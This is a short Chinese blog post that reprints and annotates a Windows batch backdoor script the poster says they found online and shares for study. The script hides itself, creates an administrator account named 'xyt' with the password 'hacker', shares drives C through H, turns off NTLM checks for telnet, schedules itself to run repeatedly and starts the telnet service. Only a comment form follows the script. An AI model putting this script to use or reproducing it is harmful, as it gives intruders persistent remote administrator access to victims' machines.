批处理

@echo off
@attrib +s + r xyt.bat //这句话是 修改文件的属性
@net user xyt hacker /add //添加一个用户
@net localgroup administrators xyt /add // 把用户加到管理员组
@net share c$=c: //共享磁盘
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm //去掉 -ntlm验证

@net stop schedule //停止 定时服务
@net start Schedule //开启定时服务
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat //定时运行
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet //开启telnet服务
@net start telnet
@exit

今天在网上看见的 发现不错 分析一下拿出来给大家学习一下

对于批处理 偶是垃圾了~~ 嘿嘿~ 如果注释分析错了 还请大家多多指教~!

随机日志

发表评论

0 评论.

Leave a Reply



[ Ctrl + Enter ]

*
To prove you're a person (not a spam script), type the security word shown in the picture. Click on the picture to hear an audio file of the word.
Click to hear an audio file of the anti-spam word

CNXCT小组的博客 is Stephen Fry proof thanks to caching by WP Super Cache